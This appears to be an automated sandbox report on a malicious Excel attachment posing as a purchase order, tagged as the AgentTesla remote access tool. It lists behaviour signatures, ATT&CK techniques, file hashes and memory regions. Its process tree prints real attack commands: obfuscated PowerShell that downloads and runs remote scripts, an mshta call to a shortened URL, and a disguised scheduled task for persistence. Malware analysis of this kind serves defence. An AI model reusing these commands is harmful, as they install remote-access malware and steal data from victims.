Analysis

  • max time kernel
    151s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    10-05-2021 07:02

General

  • Target

    Purchase Order-1245102021.xls

  • Size

    60KB

  • MD5

    c7bad1cde5a30aa2b665c62a1ebe3548

  • SHA1

    e4cb443f698d32c572274f379e52e2c8e6296846

  • SHA256

    8d6eb0ea0a37d5573bd7a306d12837a74dd2e68a597b42516784b3f2d23743e4

  • SHA512

    1b083b95391f77b04c9f991a69d22d2f8ff74b227f85891723384090ad90a22dd357d1b8ebf3820a0c15afba216468ea3774e574c7352404d99772bb8c20172a

Malware Config

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 2 IoCs
  • Blocklisted process makes network request 13 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Purchase Order-1245102021.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1608
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" http://www.j.mp/sducsjihhuihucjuiusisi
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:860
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c start /min PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://ia601407.us.archive.org/33/items/file-link-120/17-1.txt') -useB);i'E'x(iwr('https://ia601407.us.archive.org/33/items/file-link-120/17-2.txt') -useB);i'E'x(iwr('https://ia601407.us.archive.org/33/items/file-link-120/17-3.txt') -useB)
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:900
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://ia601407.us.archive.org/33/items/file-link-120/17-1.txt') -useB);i'E'x(iwr('https://ia601407.us.archive.org/33/items/file-link-120/17-2.txt') -useB);i'E'x(iwr('https://ia601407.us.archive.org/33/items/file-link-120/17-3.txt') -useB)
            4⤵
            • Blocklisted process makes network request
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1336
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              #cmd
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1200
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              #cmd
              5⤵
                PID:1576
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                #cmd
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:952
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""MsHtA""\""http://1230948%1230948@getyournewblog.blogspot.com/p/17.html\"
            3⤵
            • Creates scheduled task(s)
            PID:1648
          • C:\Windows\SysWOW64\taskkill.exe
            "C:\Windows\System32\taskkill.exe" /f /im winword.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1576
          • C:\Windows\SysWOW64\taskkill.exe
            "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe ((gp HKCU:\Software).nasdnasndnad)|IEX
        1⤵
        • Process spawned unexpected child process
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1852

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Defense Evasion

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      2
      T1082

      Query Registry

      1
      T1012

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        MD5

        7b8ea803b5ce6543b1f29afe358ce282

        SHA1

        03bfa8e20c3230f76796fe45fa4db9b5bd5c1b3c

        SHA256

        9adde716214a06e4228bc55032ef4a7a1a804e4f7f36d5a775f525aee72f24b8

        SHA512

        f3d40064dbc157908eda4665588f5644bf68a65ae632a710ad6334918c70148535f73350937f7a091c76dffe8e85e6683df6bd3189472e887bb1d5b25b8122b3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
        MD5

        02ff38ac870de39782aeee04d7b48231

        SHA1

        0390d39fa216c9b0ecdb38238304e518fb2b5095

        SHA256

        fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

        SHA512

        24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
        MD5

        02ff38ac870de39782aeee04d7b48231

        SHA1

        0390d39fa216c9b0ecdb38238304e518fb2b5095

        SHA256

        fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

        SHA512

        24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
        MD5

        75a8da7754349b38d64c87c938545b1b

        SHA1

        5c28c257d51f1c1587e29164cc03ea880c21b417

        SHA256

        bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

        SHA512

        798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
        MD5

        75a8da7754349b38d64c87c938545b1b

        SHA1

        5c28c257d51f1c1587e29164cc03ea880c21b417

        SHA256

        bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

        SHA512

        798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_42a90b7e-7342-4340-884c-394ba882c3c6
        MD5

        7f79b990cb5ed648f9e583fe35527aa7

        SHA1

        71b177b48c8bd745ef02c2affad79ca222da7c33

        SHA256

        080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

        SHA512

        20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
        MD5

        be4d72095faf84233ac17b94744f7084

        SHA1

        cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

        SHA256

        b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

        SHA512

        43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
        MD5

        be4d72095faf84233ac17b94744f7084

        SHA1

        cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

        SHA256

        b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

        SHA512

        43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4d8c0bac-33a6-4ab8-95cb-c9830b4a0268
        MD5

        d89968acfbd0cd60b51df04860d99896

        SHA1

        b3c29916ccb81ce98f95bbf3aa8a73de16298b29

        SHA256

        1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

        SHA512

        b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
        MD5

        df44874327d79bd75e4264cb8dc01811

        SHA1

        1396b06debed65ea93c24998d244edebd3c0209d

        SHA256

        55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

        SHA512

        95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
        MD5

        df44874327d79bd75e4264cb8dc01811

        SHA1

        1396b06debed65ea93c24998d244edebd3c0209d

        SHA256

        55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

        SHA512

        95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b3b6fff8-e141-43af-bd2a-269db93b7a80
        MD5

        e36e413334d4226cfecaebdd90e31c04

        SHA1

        a70ab4d400261150d6ce6798cadc6e2539ec84c7

        SHA256

        fa3e9bdb2278858c97da8478ed573db4a6642363775b1530ab0b24571e2c0f4a

        SHA512

        f2cd799769189ca59190fee5b1a44f0a7ead22874763291462fbe86865cdba5ff2854279a0d918b3769ec4d8f4e9198b5ac4f30dc3325386da5b73e18af2ca63

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b3b6fff8-e141-43af-bd2a-269db93b7a80
        MD5

        e36e413334d4226cfecaebdd90e31c04

        SHA1

        a70ab4d400261150d6ce6798cadc6e2539ec84c7

        SHA256

        fa3e9bdb2278858c97da8478ed573db4a6642363775b1530ab0b24571e2c0f4a

        SHA512

        f2cd799769189ca59190fee5b1a44f0a7ead22874763291462fbe86865cdba5ff2854279a0d918b3769ec4d8f4e9198b5ac4f30dc3325386da5b73e18af2ca63

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
        MD5

        597009ea0430a463753e0f5b1d1a249e

        SHA1

        4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

        SHA256

        3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

        SHA512

        5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
        MD5

        597009ea0430a463753e0f5b1d1a249e

        SHA1

        4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

        SHA256

        3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

        SHA512

        5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ddfb6c06-420a-48d0-916c-eebf61177ca9
        MD5

        354b8209f647a42e2ce36d8cf326cc92

        SHA1

        98c3117f797df69935f8b09fc9e95accfe3d8346

        SHA256

        feae405d288fdd38438f9d9b54f791f3ce3805f1bb88780da5aca402ad372239

        SHA512

        420be869b58e9a7a2c31f2550ac269df832935692a6431d455a10d9b426781e79d91e30ace2c465633b8a7ff2be1bf49734d8b99a390090dc4b36411d4391ff0

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f535d8b2-0e9e-4a52-8f74-b661033e3c40
        MD5

        354b8209f647a42e2ce36d8cf326cc92

        SHA1

        98c3117f797df69935f8b09fc9e95accfe3d8346

        SHA256

        feae405d288fdd38438f9d9b54f791f3ce3805f1bb88780da5aca402ad372239

        SHA512

        420be869b58e9a7a2c31f2550ac269df832935692a6431d455a10d9b426781e79d91e30ace2c465633b8a7ff2be1bf49734d8b99a390090dc4b36411d4391ff0

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
        MD5

        5e3c7184a75d42dda1a83606a45001d8

        SHA1

        94ca15637721d88f30eb4b6220b805c5be0360ed

        SHA256

        8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

        SHA512

        fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
        MD5

        5e3c7184a75d42dda1a83606a45001d8

        SHA1

        94ca15637721d88f30eb4b6220b805c5be0360ed

        SHA256

        8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

        SHA512

        fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fb981935-a061-4fe8-bee9-4610c7df3f36
        MD5

        02ff38ac870de39782aeee04d7b48231

        SHA1

        0390d39fa216c9b0ecdb38238304e518fb2b5095

        SHA256

        fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

        SHA512

        24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fb981935-a061-4fe8-bee9-4610c7df3f36
        MD5

        02ff38ac870de39782aeee04d7b48231

        SHA1

        0390d39fa216c9b0ecdb38238304e518fb2b5095

        SHA256

        fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

        SHA512

        24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
        MD5

        a725bb9fafcf91f3c6b7861a2bde6db2

        SHA1

        8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

        SHA256

        51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

        SHA512

        1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
        MD5

        a725bb9fafcf91f3c6b7861a2bde6db2

        SHA1

        8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

        SHA256

        51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

        SHA512

        1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
        MD5

        b6d38f250ccc9003dd70efd3b778117f

        SHA1

        d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

        SHA256

        4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

        SHA512

        67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
        MD5

        b6d38f250ccc9003dd70efd3b778117f

        SHA1

        d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

        SHA256

        4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

        SHA512

        67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        MD5

        50393dae2833a3368a1e02a7e13350c1

        SHA1

        79b7a6ff54aa9fe6bbe3d503f0c8f0fb7f944f68

        SHA256

        3fec042853abe529a4c3370736a74fb6939d669db8789eea089587d11851321c

        SHA512

        3495e1ffe5e74ece3b23d0af9a01ac6bc5a1e0ab64b5e585ead281183ba1101592ed09fc2f494409ed1e8e7da5a61689426917c4e8daa6b09685b8f567ae8f07

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        MD5

        5f78b8facee93707da89ecf36d1657c8

        SHA1

        0672ea86e489265148b5d4a2a1961df6d763109e

        SHA256

        fbec9057e69087eded6677a66cd9f2a9b522f93749181cca2654c61219b80e6f

        SHA512

        bced08b150bce2a0fc3d6e532ef98cd7f7def1866dc1d790b05a877f65e11b3fb46c286703b120e643f3342d96e2ab404955ad4f5150822e25ab0278cf35a8a5

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        MD5

        6d9e03400b26b1a02f2411f04bcf7a65

        SHA1

        dfdc82a5b1c98dcbd1ba2a247572df73b2227bcd

        SHA256

        ae7a0b7f083f04c51f2d909dc08796e2295e5af96778fe1d7b54821dcd177597

        SHA512

        60c20dc8e173326235c0100caa60f917ff7948dde6b1cf400371a19b1e459ac1811ace9c755a2f7ccd8e1fcbd4af12e4f14e0a9affb1a02a702d24ed90639890

      • memory/860-64-0x0000000000000000-mapping.dmp
      • memory/900-65-0x0000000000000000-mapping.dmp
      • memory/952-151-0x000000000043758E-mapping.dmp
      • memory/952-152-0x0000000000600000-0x0000000000601000-memory.dmp
        Filesize

        4KB

      • memory/1084-59-0x000000002FC61000-0x000000002FC64000-memory.dmp
        Filesize

        12KB

      • memory/1084-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1084-60-0x00000000715A1000-0x00000000715A3000-memory.dmp
        Filesize

        8KB

      • memory/1200-149-0x000000000043758E-mapping.dmp
      • memory/1200-150-0x0000000004DA0000-0x0000000004DA1000-memory.dmp
        Filesize

        4KB

      • memory/1284-70-0x0000000000000000-mapping.dmp
      • memory/1336-78-0x00000000049B0000-0x00000000049B1000-memory.dmp
        Filesize

        4KB

      • memory/1336-102-0x0000000006410000-0x0000000006411000-memory.dmp
        Filesize

        4KB

      • memory/1336-77-0x0000000002510000-0x0000000002511000-memory.dmp
        Filesize

        4KB

      • memory/1336-83-0x0000000002710000-0x0000000002711000-memory.dmp
        Filesize

        4KB

      • memory/1336-75-0x00000000049F0000-0x00000000049F1000-memory.dmp
        Filesize

        4KB

      • memory/1336-67-0x0000000000000000-mapping.dmp
      • memory/1336-68-0x00000000752F1000-0x00000000752F3000-memory.dmp
        Filesize

        8KB

      • memory/1336-88-0x0000000006050000-0x0000000006051000-memory.dmp
        Filesize

        4KB

      • memory/1336-104-0x00000000064A0000-0x00000000064A1000-memory.dmp
        Filesize

        4KB

      • memory/1336-81-0x00000000049B2000-0x00000000049B3000-memory.dmp
        Filesize

        4KB

      • memory/1336-94-0x000000007EF30000-0x000000007EF31000-memory.dmp
        Filesize

        4KB

      • memory/1336-95-0x0000000006380000-0x0000000006381000-memory.dmp
        Filesize

        4KB

      • memory/1336-93-0x00000000061D0000-0x00000000061D1000-memory.dmp
        Filesize

        4KB

      • memory/1336-73-0x0000000002110000-0x0000000002111000-memory.dmp
        Filesize

        4KB

      • memory/1576-69-0x0000000000000000-mapping.dmp
      • memory/1608-63-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp
        Filesize

        8KB

      • memory/1608-62-0x0000000000000000-mapping.dmp
      • memory/1648-66-0x0000000000000000-mapping.dmp
      • memory/1852-82-0x00000000022E0000-0x00000000022E1000-memory.dmp
        Filesize

        4KB

      • memory/1852-80-0x00000000024D4000-0x00000000024D6000-memory.dmp
        Filesize

        8KB

      • memory/1852-79-0x00000000024D0000-0x00000000024D2000-memory.dmp
        Filesize

        8KB

      • memory/1852-130-0x000000001C3E0000-0x000000001C3E1000-memory.dmp
        Filesize

        4KB

      • memory/1852-76-0x00000000026E0000-0x00000000026E1000-memory.dmp
        Filesize

        4KB

      • memory/1852-85-0x000000001B670000-0x000000001B671000-memory.dmp
        Filesize

        4KB

      • memory/1852-148-0x00000000024DA000-0x00000000024F9000-memory.dmp
        Filesize

        124KB

      • memory/1852-74-0x000000001AA50000-0x000000001AA51000-memory.dmp
        Filesize

        4KB

      • memory/1852-72-0x0000000002400000-0x0000000002401000-memory.dmp
        Filesize

        4KB

      • memory/1852-103-0x000000001B700000-0x000000001B701000-memory.dmp
        Filesize

        4KB

      • memory/1852-106-0x000000001B5C0000-0x000000001B5C1000-memory.dmp
        Filesize

        4KB

      • memory/1852-109-0x000000001B7D0000-0x000000001B7D1000-memory.dmp
        Filesize

        4KB

      • memory/1852-122-0x000000001B810000-0x000000001B811000-memory.dmp
        Filesize

        4KB

      • memory/1852-138-0x000000001C420000-0x000000001C421000-memory.dmp
        Filesize

        4KB

      • memory/1852-123-0x000000001B820000-0x000000001B821000-memory.dmp
        Filesize

        4KB